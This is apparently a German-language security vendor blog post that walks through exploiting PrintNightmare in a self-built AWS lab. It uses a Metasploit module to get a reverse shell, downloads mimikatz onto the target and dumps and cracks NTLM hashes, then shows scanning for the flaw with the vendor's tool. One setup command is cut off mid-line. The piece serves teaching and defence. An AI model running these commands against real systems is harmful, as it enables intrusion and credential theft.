Sicherheitslücken

So beheben Sie die Sicherheitslücke PrintNightmare (CVE-2021-34527/KB5004948)

In diesem Artikel können Sie in die Schuhe eines Hackers schlüpfen. Er enthält schrittweise Anweisungen zur Nutzung der bekannten PrintNightmare-Sicherheitslücke, um sich unerlaubten Zugriff auf ein Windows-System zu verschaffen. Außerdem erfahren Sie, wie Sie verhindern können, dass Angreifer diese und andere Sicherheitslücken ausnutzen, um Ihre geschäftskritischen Daten zu stehlen, zu zerstören oder zu erpressen.

Mondoo_graphics_How to Fix the PrintNightmare

In einfacheren Zeiten waren Speicherlecks und beschädigte Jobs die größten Sorgen rund um den Windows Print Spooler. Doch im Jahr 2021 wurde dieser Dienst zu einer beliebten Schachfigur einiger der zerstörerischsten Ransomware-Gruppen auf der ganzen Welt. Ein Sicherheitsforscher entdeckte einen Fehler im Windows Print Spooler, der es einem normalen Domänenbenutzer ermöglicht, sich als SYSTEM auszugeben und Code auf dem Domänencontroller auszuführen. Es wurde zu einer Windows-Sicherheitslücke CVE-2021-34527 / KB5004948, allgemein als PrintNightmare bezeichnet.

In diesem Artikel werde ich Sie durch die Schritte zum Hacken eines Windows-Computers mithilfe der PrintNightmare-Sicherheitsanfälligkeit führen. Und ich zeige Ihnen, wie Sie verhindern können, dass Sicherheitslücken wie PrintNightmare Angreifer in Ihre Infrastruktur einladen.

Hacken Sie ein Windows-System mit PrintNightmare (CVE-2021-34527/KB5004948)

Um ethisch in ein Windows-System einzudringen, erstellen wir zunächst eine Testumgebung und führen dann den Angriff in dieser Umgebung durch.

Stellen Sie ein Windows-Hacking-Labor bereit

Ich habe eine Terraform-Vorlage erstellt, mit der Sie Ihr eigenes Windows-Hacking-Labor ganz einfach einrichten können. Diese Terraform-Vorlage stellt zwei virtuelle Maschinen in Ihrem AWS-Konto bereit:

  • Ein anfälliger Windows-Computer
  • Ein Kali Linux-Computer, mit dem Sie den Windows-Computer angreifen

(Wir stellen sie auf demselben Konto bereit, nur um diesen Vorgang zu vereinfachen.)

Voraussetzungen

Für diese Demonstration benötigen Sie:

Konfiguriere deine Umgebung

Stellen Sie vor der Bereitstellung die folgenden Terraform-Umgebungsvariablen ein:

VariableDescription
`TF_VAR_region`The AWS region where you want to provision the cluster
`TF_VAR_demo_name`A prefix of your choice to apply to all provisioned resources (such as `your_name`)
`TF_VAR_ssh_key`The AWS EC2 key pair for Kali Linux access
`TF_VAR_ssh_key_path`The path to the local SSH key for connecting to the attacker Kali Linux instance
`TF_VAR_publicIP`IP address of your home network to be applied to the security group for the Kali Linux, Ubuntu and Windows instance (such as `1.1.1.1/32`)

Zum Beispiel würde ich ein Terminal öffnen und diese Befehle ausführen:

export TF_VAR_region=us-east-1

export TF_VAR_demo_name=patrick

export TF_VAR_ssh_key=patrick-key

export TF_VAR_publicIP="1.1.1.1/32"

Stellen Sie eine einzige Umgebung bereit

1. Klonen Sie das GitHub-Projekt:

git clone git@github.com:Lunalectric/windows-hack-demo.git

2. Wechseln Sie in den Ordner Windows-Hack-Demo:

cd windows-hack-demo

3. Initialisieren Sie das Projekt (laden Sie die Module herunter):

terraform init

4. Überprüfe, ob alles bereit ist:

terraform plan

5. Wenden Sie die Konfiguration an:

terraform apply -auto-approve

Sobald die Bereitstellung abgeschlossen ist, sehen Sie etwas wie das Folgende:

Apply complete! Resources: 30 added, 0 changed, 0 destroyed.

Outputs:

hack_write_up = <<EOT
# Hack Windows machine

- login to your Kali machine
........

6. Erstellen Sie Ihre Hacking-Beschreibung. Dabei handelt es sich um eine Reihe von Anweisungen, die speziell für Sie für diese Demonstration generiert wurden. Es enthält die genauen Befehle zum Kopieren:

terraform output | sed "/^EOT/c\ " | sed "/hack_write_up = <<EOT/c\ " | sed 's/

Find and fix the security risks that pose the biggest threat to your business.

Nutzen Sie die PrintNightmare-Sicherheitslücke in Ihrem Hacking-Labor

Nachdem Sie Ihr Hacking-Labor eingerichtet haben, hacken wir uns mithilfe der PrintNightmare-Sicherheitslücke in den Windows-Computer Ihres Labors ein. Zuerst greifen Sie auf das System zu, dann erhalten Sie die administrative Kontrolle.

Hacken Sie sich in den Windows-Computer ein

1. Stellen Sie in Ihrem Terminal eine Verbindung zur Kali-Maschine her, von der aus Sie hacken werden. Die Adresse und das Passwort finden Sie in Ihrer hack-write-up.md-Datei.

2. Open Metasploit (ein beliebtes Open-Source-Penetrationstest-Tool):

msfconsole
msfconsole

3. Wenn Metasploit vollständig geladen ist, rufen Sie die Konfiguration ab, um die PrintNightmare-Sicherheitslücke auszunutzen:

use exploit/windows/dcerpc/cve_2021_1675_printnightmare

4. Geben Sie `Optionen anzeigen` ein:

msf-show-options
msf6-exploit

5. Sie möchten die RHOSTS und Passwörter ins Visier nehmen. Geben Sie nacheinander diese Befehle ein:

set RHOSTS 10.0.4.105

set SMBUSER mondoo

set SMBPASS mondoo.com

set payload windows/x64/

run


Die Kali-Maschine stellt eine Verbindung zu einem Port her und sendet den Schadcode an das Windows-Betriebssystem. Der Code wird auf dem Windows-Computer ausgeführt und erstellt eine Reverse-Shell.

Mondoo_graphics_windows hacking-01 (1)

6. Überprüfen Sie die IP-Adresse, um sicherzustellen, dass Sie verbunden sind: Geben Sie `ipconfig` ein. Wenn die IP-Adresse mit den RHOSTS übereinstimmt, haben Sie eine erfolgreiche Shell auf dem Computer. Du hast dich gehackt!

Erlangen Sie Root-Rechte

Jetzt, wo Sie angemeldet sind, können Sie Root-Rechte erlangen. (Das ist fast immer der nächste Schritt eines Angreifers.)

1. Um den NTLM-Hash des Administratorprofils abzurufen, geben Sie zunächst Folgendes ein:

powershell

2. Laden Sie mimikatz herunter:

wget "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip" -outfile "C:\windows\temp\mimikatz_trunk.zip"

3. Folgen Sie diesen Schritten:

a. Ändern Sie das Arbeitsverzeichnis.
b. Dekomprimieren Sie die Zip-Datei.
c. Ändern Sie das Arbeitsverzeichnis erneut.
d. Führe mimikatz aus.
e. Holen Sie sich den NTLM-Hash:

cd "C:\windows\temp\mimikatz_trunk.zip"
	
Expand-Archive mimikatz_trunk.zip -Force

cd mimikatz_trunk\x64

.\mimikatz.exe

sekurlsa::msv
mimikatz

4. Sobald Sie den NTLM-Hash haben, gehen Sie zu crackstation.net und gib es in den Hash Cracker ein. Jetzt hast du das Admin-Passwort im Klartext.

Sie haben PrintNightmare erfolgreich verwendet, um Administratorzugriff auf das Windows-System zu erhalten.

Identifizieren Sie Sicherheitsprobleme, die es Angreifern ermöglichen, in Windows-Systeme einzudringen

Sind Sie etwas verunsichert, wie einfach es war, in einen Windows-Computer einzudringen und die Kontrolle über ihn zu übernehmen? Wie sicher sind Sie, dass alle Windows-Systeme in Ihrer Flotte frei von der PrintNightmare-Sicherheitslücke sind? Und was ist mit den Hunderten anderer Sicherheitslücken in Windows? Wie können Sie sicher sein, dass Ihre Infrastruktur keine Sicherheitsprobleme aufweist, die zu einer vollständigen Gefährdung von Windows führen können?

In diesem Abschnitt übernehmen wir die Rolle des Beschützers statt des Hackers. Ich werde Sie durch den Prozess der Identifizierung von Risiken in Ihren Windows-Systemen führen.

Voraussetzung

Für diese Demonstration benötigen Sie:

  • Ein Mondoo-Konto. Sie können einen kostenlos bekommen hier.

Scannen Sie ein Windows-System

Für diese Demonstration habe ich einen Vagrant-Windows-Computer eingerichtet, den Sie verwenden können.

1. Melden Sie sich über das Remote Desktop Protocol (RDP) beim Vagrant Windows 2016-System an:

xfreerdp /u:Administrator /v::3389 /h:2048 /w:2048 /p:'Password1!'

2. Öffnen Sie Windows Powershell als Administrator.

unnamed-2

3. Installieren Sie den Mondoo Client:

A. Loggen Sie sich in Ihr Konto ein unter console.mondoo.com

integrations

B. Gehen Sie zur Seite INTEGRATIONEN und wählen Sie Windows aus.

integrations-windows

C. Legen Sie die Powershell-Ausführungsrichtlinie fest:

Set-ExecutionPolicy RemoteSigned -scope CurrentUser

D. Kopieren Sie die von Mondoo bereitgestellten CLI-Befehle und fügen Sie sie in die Windows 2016 PowerShell ein.

mondoo-terminal

E. Fügen Sie nach Abschluss der Mondoo-Client-Installation den Mondoo-Pfad hinzu und geben Sie mondoo status ein, um zu überprüfen, ob der Mondoo-Client registriert ist und funktioniert. Es sollte so aussehen:

PS C:\Users\Administrator> $env:Path = 'C:\Program Files\Mondoo\;' + $env:Path

PS C:\Users\Administrator> mondoo status
→ loaded configuration from C:\ProgramData\Mondoo\mondoo.yml using source default
! could not determine client platform information
→ Time:         2022-10-23T17:38:15Z
→ Version:      7.0.2 (API Version: 7)
→ API ConnectionConfig: https://us.api.mondoo.com
→ API Status:   SERVING
→ API Time:     2022-10-23T17:38:15Z
→ API Version:  7
→ Space:        //captain.api.mondoo.app/spaces/hardcore-bassi-588565
→ Client:       //agents.api.mondoo.app/spaces/hardcore-bassi-588565/agents/2GXt8HJ0J8xG2xT4sTBUgtnY3nq

Nach einem Windows-Neustart wird der Installationspfad automatisch zur PowerShell-Pfadvariablen hinzugefügt.

F. Vergewissern Sie sich schnell, dass die folgenden Richtlinien für Ihren Bereich aktiviert sind:

  • Informationen zur Plattformübersicht von Mondoo
  • Richtlinie zum Ende der Nutzungsdauer von Plattformen von Mondoo
  • Richtlinie zur Sicherheitslücke auf Plattformen von Mondoo
  • Windows-Sicherheit von Mondoo

Ihr POLICY HUB sollte so aussehen:

mondoo-policy-hub

3. Führen Sie den Mondoo-Scan in PowerShell aus:

mondoo scan local

Der Mondoo Client stellt eine Verbindung zum Mondoo-Backend her und lädt die aktivierten Richtlinien herunter. Nach dem Scan meldet der Mondoo Client die Ergebnisse zurück an das Mondoo-Backend.

Ergebnisse des Mondoo-Scans

Erkunden Sie die Scanergebnisse in der Mondoo-Konsole

Lassen Sie uns zunächst die PrintNightmare-Sicherheitslücke finden.

1. Wählen Sie die Berichts-URL, um die Mondoo-Asset-Übersichtsseite zu öffnen, auf der das Windows 2016-Asset angezeigt wird.

unnamed(1)

2. Wählen Sie Platform Vulnerabilities und dann Advisories aus.

platform-vulnerabilities-advisories

3. Suchen Sie nach KB5004948. Das ist die Empfehlung für Albtraum drucken Sicherheitslücke, die wir zuvor genutzt haben, um auf den Windows-Computer zuzugreifen.

printnightmare-advisory

Schauen wir uns nun die Fehlkonfiguration an, die es uns ermöglichte, auf den NTLM-Hash des Administratorkontos zuzugreifen:

1. Wählen Sie in der Mondoo-Konsole Richtlinien aus und suchen Sie nach `Debug`.

debug

2. Klicken Sie, um das Steuerelement zu erweitern. Sie sehen die Beschreibung des Problems und wie es behoben werden kann.

unnamed (1)-1

Auf einem Windows-Computer ist das SeDebug-Zugriffsrecht standardmäßig aktiv. Wer dieses Recht hat, kann den Windows-Prozess lsass.exe ausgeben. Dieser Prozess speichert die NTLM-Hashes, die während einer aktiven Sitzung oder von einem Dienst verwendet werden, im Cache. Es ist dieses Caching, das es uns ermöglichte, die administrative Kontrolle über das Windows-System zu erlangen.

Mondoo findet Sicherheitslücken wie PrintNightmare und Fehlkonfigurationen wie SeDebug in Ihrer gesamten Infrastruktur — nicht nur auf Windows-Systemen, sondern auf jeder Plattform, jedem Container und jeder VM und vielem mehr. Verwenden Sie Ihr Mondoo-Konto, um weiter zu scannen und herauszufinden, wie Sie Ihre Systemsicherheit erhöhen können. Wenn Sie Fragen haben, wir sind hier um zu helfen.

Patrick Munch

Patrick, Chief Information Security Officer (CISO) bei Mondoo, ist hochqualifiziert darin, jedes System zu schützen und zu hacken, das er in die Finger bekommt. Er hat bei der SVA GmbH ein erfolgreiches Team für Penetrationstests und Incident-Response aufgebaut, dessen Ziel es ist, das Sicherheitsniveau von Unternehmen zu erhöhen und die Auswirkungen von Ransomware-Angriffen zu begrenzen. Jetzt kann Patrick als Teil des Mondoo-Teams dazu beitragen, weitaus mehr Unternehmen vor Cybersicherheitsbedrohungen zu schützen.

You might also like

Vergleiche
Mondoo gegen Tenable — Zehn Möglichkeiten, Tenable-Alternativen zu vergleichen
Sanierung
Wie wir unser Risiko in weniger als drei Stunden um 54% reduziert haben
Sanierung
Branchenweit erste Priorisierung von Problembehebungen unter Berücksichtigung der Auswirkungen und des Aufwands